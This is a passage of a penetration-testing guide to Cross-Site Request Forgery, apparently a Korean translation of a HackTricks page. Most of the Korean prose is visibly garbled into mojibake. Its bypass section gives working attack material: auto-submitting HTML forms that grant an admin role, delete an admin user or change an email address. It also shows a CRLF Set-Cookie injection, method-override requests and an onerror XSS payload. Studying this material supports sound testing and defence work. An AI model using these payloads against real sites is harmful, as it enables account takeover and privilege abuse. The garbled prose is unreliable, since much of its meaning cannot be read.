CSRF (Cross Site Request Forgery)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Cross-Site Request Forgery (CSRF) ์„ค๋ช…

**Cross-Site Request Forgery (CSRF)**๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๋ฐœ๊ฒฌ๋˜๋Š” ์ผ์ข…์˜ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ธ์ฆ๋œ ์„ธ์…˜์„ ์•…์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ๋ชจ๋ฅด๋Š” ์‚ฌ์ด์— ๊ทธ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•ด ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์€ ํ”ผํ•ด์ž์˜ ํ”Œ๋žซํผ์— ๋กœ๊ทธ์ธ๋œ ์‚ฌ์šฉ์ž๊ฐ€ ์•…์„ฑ ์‚ฌ์ดํŠธ๋ฅผ ๋ฐฉ๋ฌธํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ์‚ฌ์ดํŠธ๋Š” JavaScript ์‹คํ–‰, ํผ ์ œ์ถœ, ์ด๋ฏธ์ง€ ๊ฐ€์ ธ์˜ค๊ธฐ ๋“ฑ๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ํ”ผํ•ด์ž์˜ ๊ณ„์ •์— ์š”์ฒญ์„ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

CSRF ๊ณต๊ฒฉ์„ ์œ„ํ•œ ์ „์ œ ์กฐ๊ฑด

CSRF ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์กฐ๊ฑด๋“ค์ด ์ถฉ์กฑ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  1. ๊ฐ€์น˜ ์žˆ๋Š” ๋™์ž‘ ์‹๋ณ„: ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ, ์ด๋ฉ”์ผ ๋ณ€๊ฒฝ, ๊ถŒํ•œ ์ƒ์Šน ๋“ฑ ์•…์šฉํ•  ๊ฐ€์น˜๊ฐ€ ์žˆ๋Š” ๋™์ž‘์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  2. ์„ธ์…˜ ๊ด€๋ฆฌ: ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์€ ์˜ค์ง cookies ๋˜๋Š” HTTP Basic Authentication header๋ฅผ ํ†ตํ•ด์„œ๋งŒ ๊ด€๋ฆฌ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ํ—ค๋”๋Š” ์ด ๋ชฉ์ ์„ ์œ„ํ•ด ์กฐ์ž‘ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
  3. ์˜ˆ์ธก ๋ถˆ๊ฐ€๋Šฅํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๋ถ€์žฌ: ์š”์ฒญ์— ์˜ˆ์ธก ๋ถˆ๊ฐ€๋Šฅํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉด ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋น ๋ฅธ ํ™•์ธ

์š”์ฒญ์„ Burp์—์„œ ์บก์ฒ˜ํ•˜๊ณ  CSRF ๋ณดํ˜ธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ…Œ์ŠคํŠธํ•˜๋ ค๋ฉด Copy as fetch๋ฅผ ํด๋ฆญํ•˜์—ฌ ์š”์ฒญ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

CSRF์— ๋Œ€ํ•œ ๋ฐฉ์–ด

๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋Œ€์‘์ฑ…๋“ค์„ ๊ตฌํ˜„ํ•˜์—ฌ CSRF ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • SameSite cookies: ์ด ์†์„ฑ์€ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ๊ณผ ํ•จ๊ป˜ cookies๋ฅผ ์ „์†กํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. More about SameSite cookies.
  • Cross-origin resource sharing: ํ”ผํ•ด์ž ์‚ฌ์ดํŠธ์˜ CORS ์ •์ฑ…์€ ๊ณต๊ฒฉ์˜ ์‹คํ–‰ ๊ฐ€๋Šฅ์„ฑ์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํŠนํžˆ ๊ณต๊ฒฉ์ด ํ”ผํ•ด์ž ์‚ฌ์ดํŠธ์˜ ์‘๋‹ต์„ ์ฝ์–ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ์— ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. Learn about CORS bypass.
  • User Verification: ์‚ฌ์šฉ์ž์—๊ฒŒ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ์„ ์š”๊ตฌํ•˜๊ฑฐ๋‚˜ captcha๋ฅผ ํ’€๊ฒŒ ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์‚ฌ์šฉ์ž์˜ ์˜๋„๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Referrer ๋˜๋Š” Origin ํ—ค๋” ๊ฒ€์‚ฌ: ์ด๋Ÿฌํ•œ ํ—ค๋”๋ฅผ ๊ฒ€์ฆํ•˜๋ฉด ์š”์ฒญ์ด ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ถœ์ฒ˜์—์„œ ์™”๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ž˜๋ชป ๊ตฌํ˜„๋œ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” URL ์กฐ์ž‘ ๋ฐฉ์‹๋“ค์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ:
    • http://mal.net?orig=http://example.com (URL์ด ์‹ ๋ขฐ๋œ URL๋กœ ๋๋‚จ)
    • http://example.com.mal.net (URL์ด ์‹ ๋ขฐ๋œ URL๋กœ ์‹œ์ž‘ํ•จ)
  • ๋งค๊ฐœ๋ณ€์ˆ˜ ์ด๋ฆ„ ๋ณ€๊ฒฝ: POST ๋˜๋Š” GET ์š”์ฒญ์˜ ๋งค๊ฐœ๋ณ€์ˆ˜ ์ด๋ฆ„์„ ๋ณ€๊ฒฝํ•˜๋ฉด ์ž๋™ํ™”๋œ ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • CSRF Tokens: ๊ฐ ์„ธ์…˜์— ๊ณ ์œ ํ•œ CSRF ํ† ํฐ์„ ํฌํ•จํ•˜๊ณ  ์ดํ›„ ์š”์ฒญ์—์„œ ์ด ํ† ํฐ์„ ์š”๊ตฌํ•˜๋ฉด CSRF ์œ„ํ—˜์„ ํฌ๊ฒŒ ์ค„์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. CORS๋ฅผ ์ ์šฉํ•˜๋ฉด ํ† ํฐ์˜ ํšจ๊ณผ๋ฅผ ๋”์šฑ ๋†’์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋ฐฉ์–ด์ฑ…์„ ์ดํ•ดํ•˜๊ณ  ๊ตฌํ˜„ํ•˜๋Š” ๊ฒƒ์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ๊ณผ ๋ฌด๊ฒฐ์„ฑ์„ ์œ ์ง€ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

๋ฐฉ์–ด์˜ ์ผ๋ฐ˜์ ์ธ ํ•จ์ •

  • SameSite์˜ ํ•จ์ •: SameSite=Lax๋Š” ์—ฌ์ „ํžˆ ๋งํฌ๋‚˜ ํผ์˜ GET๊ณผ ๊ฐ™์€ ์ตœ์ƒ์œ„ ๊ต์ฐจ ์ถœ์ฒ˜ ๋‚ด๋น„๊ฒŒ์ด์…˜์„ ํ—ˆ์šฉํ•˜๋ฏ€๋กœ ๋งŽ์€ GET ๊ธฐ๋ฐ˜ CSRF๊ฐ€ ์—ฌ์ „ํžˆ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. cookie matrix๋Š” Hacking with Cookies > SameSite๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.
  • ํ—ค๋” ๊ฒ€์‚ฌ: Origin์ด ์žˆ์„ ๋•Œ ์ด๋ฅผ ๊ฒ€์ฆํ•˜์„ธ์š”; Origin๊ณผ Referer๊ฐ€ ๋ชจ๋‘ ์—†์œผ๋ฉด ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•˜์„ธ์š”(fail closed). ์œ ์‚ฌ ๋„๋ฉ”์ธ์ด๋‚˜ ์กฐ์ž‘๋œ URL๋กœ ์šฐํšŒ๋  ์ˆ˜ ์žˆ๋Š” Referer์˜ ๋ถ€๋ถ„ ๋ฌธ์ž์—ด/์ •๊ทœ์‹ ๋งค์นญ์— ์˜์กดํ•˜์ง€ ๋งˆ์„ธ์š”. ๋˜ํ•œ meta name="referrer" content="never" ์–ต์ œ ํŠธ๋ฆญ์„ ์ฃผ์˜ํ•˜์„ธ์š”.
  • Method override: ์˜ค๋ฒ„๋ผ์ด๋“œ๋œ ๋ฉ”์„œ๋“œ(_method ๋˜๋Š” override headers)๋Š” ์ƒํƒœ ๋ณ€๊ฒฝ์œผ๋กœ ๊ฐ„์ฃผํ•˜๊ณ  POST์—๋งŒ ์ ์šฉํ•˜์ง€ ๋ง๊ณ  ์‹ค์ œ ์ ์šฉ๋˜๋Š” ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•ด CSRF๋ฅผ ๊ฐ•์ œํ•˜์„ธ์š”.
  • ๋กœ๊ทธ์ธ ํ๋ฆ„: ๋กœ๊ทธ์ธ์—๋„ CSRF ๋ณดํ˜ธ๋ฅผ ์ ์šฉํ•˜์„ธ์š”. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๋กœ๊ทธ์ธ CSRF๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ณ„์ •์œผ๋กœ ๊ฐ•์ œ ์žฌ์ธ์ฆ์„ ํ—ˆ์šฉํ•˜๊ฒŒ ๋˜๊ณ , ์ด๋Š” stored XSS์™€ ์—ฐ๊ณ„๋˜์–ด ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Defences Bypass

From POST to GET (method-conditioned CSRF validation bypass)

์ผ๋ถ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋‹ค๋ฅธ HTTP ๋™์‚ฌ๋ฅผ ๊ฑด๋„ˆ๋›ฐ๊ณ  POST์—๋งŒ CSRF ๊ฒ€์ฆ์„ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค. PHP์—์„œ ํ”ํ•œ ์•ˆํ‹ฐํŒจํ„ด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

์ทจ์•ฝํ•œ ์—”๋“œํฌ์ธํŠธ๊ฐ€ $_REQUEST์—์„œ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›๋Š”๋‹ค๋ฉด, ๋™์ผํ•œ ๋™์ž‘์„ GET ์š”์ฒญ์œผ๋กœ ๋‹ค์‹œ ๋ฐœํ–‰ํ•˜๊ณ  CSRF token์„ ์™„์ „ํžˆ ์ƒ๋žตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด POST-only ๋™์ž‘์ด ํ† ํฐ ์—†์ด ์„ฑ๊ณตํ•˜๋Š” GET ๋™์ž‘์œผ๋กœ ์ „ํ™˜๋ฉ๋‹ˆ๋‹ค.

Example:

  • Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notes:

  • ์ด ํŒจํ„ด์€ ์ข…์ข… reflected XSS์™€ ํ•จ๊ป˜ ๋‚˜ํƒ€๋‚˜๋ฉฐ, ์‘๋‹ต์ด application/json ๋Œ€์‹  ์ž˜๋ชปํ•˜์—ฌ text/html๋กœ ์ œ๊ณต๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.
  • ์ด๋ฅผ XSS์™€ ๊ฒฐํ•ฉํ•˜๋ฉด ์ทจ์•ฝํ•œ ์ฝ”๋“œ ๊ฒฝ๋กœ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ณ  CSRF checks๋ฅผ ์™„์ „ํžˆ ํšŒํ”ผํ•˜๋Š” ๋‹จ์ผ GET ๋งํฌ๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์–ด exploitation ์žฅ๋ฒฝ์ด ํฌ๊ฒŒ ๋‚ฎ์•„์ง‘๋‹ˆ๋‹ค.

ํ† ํฐ ์—†์Œ

Applications might implement a mechanism to validate tokens when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by removing the parameter that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.

Moreover, some implementations only check that the parameter exists but donโ€™t validate its content, so an empty token value is accepted. In that case, simply submitting the request with csrf= is enough:

POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

์ตœ์†Œํ•œ์˜ ์ž๋™ ์ œ์ถœ PoC (history.pushState๋กœ ํƒ์ƒ‰ ์ˆจ๊ธฐ๊ธฐ):

<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRF token์ด ์‚ฌ์šฉ์ž ์„ธ์…˜์— ์—ฐ๋™๋˜์–ด ์žˆ์ง€ ์•Š์Œ

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด CSRF tokens์„ ์‚ฌ์šฉ์ž ์„ธ์…˜์— ์—ฐ๋™ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์‹œ์Šคํ…œ์€ ๊ฐ ํ† ํฐ์ด ๋ฐœ๊ธ‰ํ•œ ์„ธ์…˜์— ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ๋ณด๋‹ค๋Š” ํ† ํฐ์„ global pool์— ๋Œ€ํ•ด ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. ์ž์‹ ์˜ ๊ณ„์ •์œผ๋กœ ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค.
  2. global pool์—์„œ ์œ ํšจํ•œ CSRF token์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
  3. ์ด ํ† ํฐ์„ ์‚ฌ์šฉํ•ด ํ”ผํ•ด์ž์— ๋Œ€ํ•œ CSRF attack์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ถ€์ ์ ˆํ•œ ํ† ํฐ ๊ฒ€์ฆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์•…์šฉํ•˜์—ฌ ํ”ผํ•ด์ž๋ฅผ ๋Œ€์‹ ํ•ด ๋ฌด๋‹จ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฉ”์„œ๋“œ ์šฐํšŒ

์š”์ฒญ์ด โ€œweirdโ€ method๋ฅผ ์‚ฌ์šฉ ์ค‘์ด๋ผ๋ฉด method override ๊ธฐ๋Šฅ์ด ์ž‘๋™ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด PUT/DELETE/PATCH ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉ ์ค‘์ด๋ผ๋ฉด POST๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  override๋ฅผ ์ „์†กํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: https://example.com/my/dear/api/val/num?_method=PUT

์ด๋Š” _method parameter inside a POST body๋กœ ์ „์†กํ•˜๊ฑฐ๋‚˜ override headers๋ฅผ ์‚ฌ์šฉํ•ด๋„ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Laravel, Symfony, Express ๋“ฑ ํ”„๋ ˆ์ž„์›Œํฌ์—์„œ ํ”ํžˆ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž๋“ค์ด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋น„-POST ๋™์‚ฌ๋ฅผ ์ „์†กํ•  ์ˆ˜ ์—†๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋น„-POST ๋™์‚ฌ์— ๋Œ€ํ•ด CSRF๋ฅผ ์ƒ๋žตํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋Š”๋ฐ, override๋ฅผ ํ†ตํ•ด ์—ฌ์ „ํžˆ POST๋กœ ํ•ด๋‹น ํ•ธ๋“ค๋Ÿฌ์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ ์š”์ฒญ ๋ฐ HTML PoC:

POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

์ปค์Šคํ…€ ํ—ค๋” token ์šฐํšŒ

์š”์ฒญ์ด ์‚ฌ์šฉ์ž ์ •์˜ ํ—ค๋”์— token์„ CSRF ๋ณดํ˜ธ ๋ฐฉ๋ฒ•์œผ๋กœ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒฝ์šฐ:

  • ์š”์ฒญ์„ Customized Token ๋ฐ ํ•ด๋‹น ํ—ค๋” ์—†์ด ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.
  • ๊ธธ์ด๊ฐ€ ์ •ํ™•ํžˆ ๋™์ผํ•˜์ง€๋งŒ ๋‹ค๋ฅธ token์œผ๋กœ ์š”์ฒญ์„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

CSRF token์ด ์ฟ ํ‚ค๋กœ ๊ฒ€์ฆ๋˜๋Š” ๊ฒฝ์šฐ

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ token์„ ์ฟ ํ‚ค์™€ ์š”์ฒญ ํŒŒ๋ผ๋ฏธํ„ฐ์— ์ค‘๋ณต ์ €์žฅํ•˜๊ฑฐ๋‚˜ CSRF ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•˜๊ณ  ๋ฐฑ์—”๋“œ๋กœ ์ „์†ก๋œ token์ด ์ฟ ํ‚ค์™€ ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•จ์œผ๋กœ์จ CSRF ๋ณดํ˜ธ๋ฅผ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์š”์ฒญ ํŒŒ๋ผ๋ฏธํ„ฐ์˜ token์ด ์ฟ ํ‚ค์˜ ๊ฐ’๊ณผ ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์—ฌ ์š”์ฒญ์„ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฐฉ๋ฒ•์€ CRLF ์ทจ์•ฝ์ ๊ณผ ๊ฐ™์ด ๊ณต๊ฒฉ์ž๊ฐ€ ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €์— CSRF ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฐํ•จ์ด ์žˆ๋Š” ์›น์‚ฌ์ดํŠธ์—์„œ๋Š” CSRF ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•˜๋Š” ์†์ž„์ˆ˜ ์ด๋ฏธ์ง€( deceptive image )๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๊ฒŒ ํ•œ ๋’ค CSRF ๊ณต๊ฒฉ์„ ์‹œ์ž‘ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” ๊ณต๊ฒฉ์ด ์–ด๋–ป๊ฒŒ ๊ตฌ์„ฑ๋  ์ˆ˜ ์žˆ๋Š”์ง€์— ๋Œ€ํ•œ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

Tip

๋งŒ์•ฝ csrf token์ด session cookie์™€ ์—ฐ๊ด€๋˜์–ด ์žˆ๋‹ค๋ฉด ์ด ๊ณต๊ฒฉ์€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ํ”ผํ•ด์ž์˜ ์„ธ์…˜์„ ์„ค์ •ํ•ด์•ผ ํ•˜๋ฏ€๋กœ ๊ฒฐ๊ตญ ์ž์‹ ์„ ๊ณต๊ฒฉํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Content-Type ๋ณ€๊ฒฝ

this์— ๋”ฐ๋ฅด๋ฉด, POST ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ preflight ์š”์ฒญ์„ ํ”ผํ•˜๋ ค๋ฉด ํ—ˆ์šฉ๋˜๋Š” Content-Type ๊ฐ’์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

๋‹จ, ์‚ฌ์šฉ๋œ Content-Type์— ๋”ฐ๋ผ ์„œ๋ฒ„ ๋กœ์ง์ด ๋‹ฌ๋ผ์งˆ ์ˆ˜ ์žˆ์Œ์— ์œ ์˜ํ•˜์„ธ์š”. ๋”ฐ๋ผ์„œ ์œ„์— ์–ธ๊ธ‰ํ•œ ๊ฐ’๋“ค๊ณผ application/json, text/xml, application/xml ๊ฐ™์€ ๊ฐ’๋“ค๋„ ์‹œ๋„ํ•ด๋ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Example (from here) of sending JSON data as text/plain:

<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

Bypassing Preflight Requests for JSON Data

POST ์š”์ฒญ์œผ๋กœ JSON ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๋ ค ํ•  ๋•Œ, HTML form์—์„œ Content-Type: application/json์„ ์ง์ ‘ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ XMLHttpRequest๋กœ ์ด Content-Type์„ ์ „์†กํ•˜๋ฉด preflight request๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ์ด ์ œํ•œ์„ ์šฐํšŒํ•˜๊ณ  ์„œ๋ฒ„๊ฐ€ Content-Type๊ณผ ์ƒ๊ด€์—†์ด JSON ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•๋“ค์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  1. Use Alternative Content Types: form์— enctype="text/plain"์„ ์„ค์ •ํ•˜์—ฌ Content-Type: text/plain ๋˜๋Š” Content-Type: application/x-www-form-urlencoded๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์ด ๋ฐฉ๋ฒ•์€ ๋ฐฑ์—”๋“œ๊ฐ€ Content-Type๊ณผ ์ƒ๊ด€์—†์ด ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๋Š”์ง€ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค.
  2. Modify Content Type: preflight request๋ฅผ ํ”ผํ•˜๋ฉด์„œ ์„œ๋ฒ„๊ฐ€ ์ฝ˜ํ…์ธ ๋ฅผ JSON์œผ๋กœ ์ธ์‹ํ•˜๋„๋ก ํ•˜๋ ค๋ฉด Content-Type: text/plain; application/json์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” preflight request๋ฅผ ์œ ๋ฐœํ•˜์ง€ ์•Š์ง€๋งŒ, ์„œ๋ฒ„๊ฐ€ application/json์„ ํ—ˆ์šฉํ•˜๋„๋ก ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋‹ค๋ฉด ์ œ๋Œ€๋กœ ์ฒ˜๋ฆฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
